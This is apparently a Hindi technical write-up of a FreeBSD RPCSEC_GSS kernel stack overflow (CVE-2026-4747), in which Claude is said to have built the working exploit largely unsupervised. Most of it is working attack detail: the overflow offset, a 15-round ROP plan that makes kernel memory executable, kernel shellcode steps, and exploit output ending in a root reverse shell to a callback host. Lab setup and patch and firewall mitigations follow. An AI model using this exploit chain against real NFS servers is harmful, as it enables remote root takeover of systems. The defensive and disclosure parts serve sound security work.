26 मार्च 2026 ── FreeBSD FreeBSD-SA-26:08.rpcsec_gss प्रकाशित करता है
               क्रेडिट: "Nicholas Carlini using Claude, Anthropic"

29 मार्च 2026 ── 09:45 AM PDT: Claude से एक्सप्लॉइट विकसित करने का अनुरोध किया गया
               05:00 PM PDT: Claude कार्यशील रूट शेल प्रदान करता है

               कुल: ~7 घंटे वॉल क्लॉक / ~4 घंटे Claude का वास्तविक कार्य
               मानव इस प्रक्रिया के अधिकांश समय AFK था।

/* svc_rpc_gss_validate() में — kgssapi.ko */
uint8_t rpchdr[128];  /* स्टैक पर बफर */

/* 32 बाइट पहले से ही RPC हेडर फ़ील्ड द्वारा उपभोग किए गए */
/* केवल 96 बाइट खाली बचते हैं                       */

/* XDR 400 बाइट तक के क्रेडेंशियल की अनुमति देता है        */
/* 400 - 96 = 304 बाइट का ओवरफ्लो → RIP हाईजैक    */
memcpy(rpchdr, credential_body, credential_len);  /* ← BUG: आकार की जाँच नहीं */

हमलावर (नेटवर्क)
    │
    │  nfs/target@REALM के लिए वैध Kerberos टिकट
    │
    ▼
NFS सर्वर (पोर्ट 2049/TCP)
    │
    │  credential_len = 400 के साथ RPCSEC_GSS अनुरोध
    │
    ▼
svc_rpc_gss_validate() ← कर्नेल रिंग 0
    │
    │  आकार की जाँच के बिना memcpy
    │  [128 बाइट बफर + 304 बाइट ओवरफ्लो]
    │
    ▼
स्टैक स्मैशिंग → नियंत्रित RIP → ROP चेन → शेलकोड
    │
    ▼
kproc_create() + kern_execve("/bin/sh") → uid=0 रिवर्स शेल

# FreeBSD 14.4-RELEASE VM जिसमें:
# - 2+ CPU (FreeBSD प्रति CPU 8 NFS थ्रेड स्पॉन करता है; एक्सप्लॉइट को 15 राउंड चाहिए)
# - kgssapi.ko लोड किया गया
# - पोर्ट 2049 पर NFS सक्रिय
# - MIT Kerberos KDC कॉन्फ़िगर किया गया (कमजोर कोड तक पहुँचने के लिए आवश्यक)
# - QEMU पोर्ट फ़ॉरवर्डिंग: host:2049 → guest:2049, host:8888 → guest:88 (KDC)

# हमलावर पर महत्वपूर्ण Kerberos कॉन्फ़िगरेशन:
# /etc/krb5.conf
[libdefaults]
    rdns = false                        # इसके बिना: nfs/localhost@REALM के लिए टिकट (गलत)
    dns_canonicalize_hostname = false   # सर्वर KRB5KRB_AP_WRONG_PRINC के साथ अस्वीकार करता है

राउंड  1:  ROP → pmap_change_prot(BSS, RWX)     ← BSS को निष्पादन योग्य बनाएं
राउंड 2-14: ROP → BSS में 32 बाइट शेलकोड लिखें (4 राइट × 8 बाइट)
राउंड 15: ROP → अंतिम बाइट लिखें + शेलकोड पर JUMP

प्रति राउंड बजट: 4 राइट × 40 बाइट = 160 बाइट + 24 बाइट exit = 184 बाइट ✓ (< 200)

; प्रत्येक राउंड सामान्य रिटर्न के बजाय kthread_exit(0) के साथ समाप्त होता है
; सर्वर क्रैश नहीं होता — यह केवल एक NFS थ्रेड खो देता है
; 2 CPU के साथ: 16 थ्रेड उपलब्ध → 15 राउंड के लिए पर्याप्त

# De Bruijn अनुक्रम → प्रत्येक 8-बाइट सबस्ट्रिंग अद्वितीय है
# क्रेडेंशियल बॉडी के रूप में भेजें → कर्नेल क्रैश → क्रैश डंप से RIP पढ़ें
# डिसअसेंबली ऑफसेट 168 कहती थी → वास्तविक: 200 बाइट
# अंतर: GSS हेडर के 32 बाइट जो स्थैतिक विश्लेषण में शामिल नहीं थे

pattern = cyclic(400)  # 400 बाइट का De Bruijn
# क्रैश डंप: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200

/* चरण 1 (हाईजैक किए गए NFS थ्रेड के शेलकोड में): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit();  /* NFS थ्रेड को स्वच्छ रूप से मारें */

/* चरण 2 (नई प्रक्रिया में): */
/* 1. डीबग रजिस्टर साफ़ करें (हार्डवेयर बग - चरण 5 देखें) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");

/* 2. /bin/sh निष्पादित करें */
kern_execve("/bin/sh", args, envp);

/* 3. महत्वपूर्ण: P_KPROC फ्लैग साफ़ करें */
/* इसके बिना, fork_exit() kthread_exit() कॉल करता है और प्रक्रिया को मार देता है */
proc->p_flag &= ~P_KPROC;

/* 4. रिटर्न → fork_exit() → userret() → iretq → रिंग 3 → uid=0 शेल */

लक्षण: चाइल्ड प्रक्रिया वैध निर्देश पर trap 1 (डीबग अपवाद) के साथ क्रैश होती है।
कारण: kproc_create/fork1 पैरेंट का PCB कॉपी करता है, DDB के ब्रेकपॉइंट विरासत में मिलते हैं
       जो एक्सप्लॉइट विकास के दौरान पिछले क्रैश से बचे थे।

फिक्स: kproc_create से पहले दो निर्देश:
  xor eax, eax
  mov dr7, rax    ← सभी हार्डवेयर ब्रेकपॉइंट अक्षम करें

$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS रिमोट कर्नेल RCE
  स्टैक ओवरफ्लो → ROP → शेलकोड → uid 0 रिवर्स शेल
==============================================================

  लक्ष्य:   127.0.0.1:2049
  कॉलबैक: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  शेलकोड: 432 बाइट (54 qwords)
  डिलीवरी:  15 राउंड (1 pmap + 14 राइट)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX)
  [+] BSS अब RWX है

  [R2/15]  राइट (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  राइट (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] राइट + EXECUTE → JUMP 0xffffffff8198a800

  [*] शेलकोड डिलीवर और निष्पादित हो रहा है।
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] रिवर्स शेल → 10.0.2.2:4444

  [+] 127.0.0.1:41320 से कनेक्शन
  [+] शेल मिल गया!

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

# FreeBSD 14.4-RELEASE डाउनलोड करें
curl -O https://download.freebsd.org/releases/amd64/amd64/ISO-IMAGES/14.4/FreeBSD-14.4-RELEASE-amd64-disc1.iso

# डिस्क बनाएं और 2+ CPU के साथ VM बूट करें
qemu-img create -f qcow2 freebsd-vuln.qcow2 20G
qemu-system-x86_64 \
  -hda freebsd-vuln.qcow2 \
  -cdrom FreeBSD-14.4-RELEASE-amd64-disc1.iso \
  -m 2G \
  -smp 2 \                    # 16+ NFS थ्रेड के लिए 2+ CPU
  -net user,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -net nic \
  -nographic 2>&1 | tee qemu.log   # क्रैश डंप पढ़ने के लिए लॉग

# FreeBSD के अंदर: NFS + Kerberos कॉन्फ़िगर करें
kldload kgssapi
echo 'nfs_server_enable="YES"' >> /etc/rc.conf
echo 'gssd_enable="YES"' >> /etc/rc.conf

# बेसिक KDC सेटअप
pkg install heimdal
# प्रिंसिपल बनाएं: nfs/[email protected], [email protected]
kadmin -l add nfs/[email protected]
kadmin -l add [email protected]

1. VMware में FreeBSD 14.4-RELEASE स्थापित करें
2. Network Adapter में: "NAT" या "Host-only" चुनें
3. VMware NAT में पोर्ट फ़ॉरवर्डिंग कॉन्फ़िगर करें:
   - Host 2049 TCP → Guest 2049
   - Host 88 TCP/UDP → Guest 88 (KDC)
4. QEMU जैसा ही NFS/Kerberos सेटअप
5. हमलावर के /etc/krb5.conf में:
   kdc = 127.0.0.1:88   (पोर्ट फ़ॉरवर्ड की ओर इशारा करता है)

# FreeBSD को पैच किए गए संस्करण में अपडेट करें
freebsd-update fetch install

# सत्यापित करें कि advisory पैच हो गया है
freebsd-version -k  # SA-26:08 के बाद का संस्करण दिखाना चाहिए

# 1. यदि RPCSEC_GSS आवश्यक नहीं है तो kgssapi अक्षम करें
kldunload kgssapi
# /boot/loader.conf में:
# kgssapi_load="NO"

# 2. फ़ायरवॉल से NFS एक्सेस प्रतिबंधित करें
ipfw add deny tcp from any to any 2049 not via lo0
# या pf के साथ:
# block in quick on em0 proto tcp to port 2049

# 3. केवल विश्वसनीय IP से Kerberos प्रमाणीकरण आवश्यक करें
# /etc/exports:
# /data -sec=krb5 -network=192.168.1.0 -mask=255.255.255.0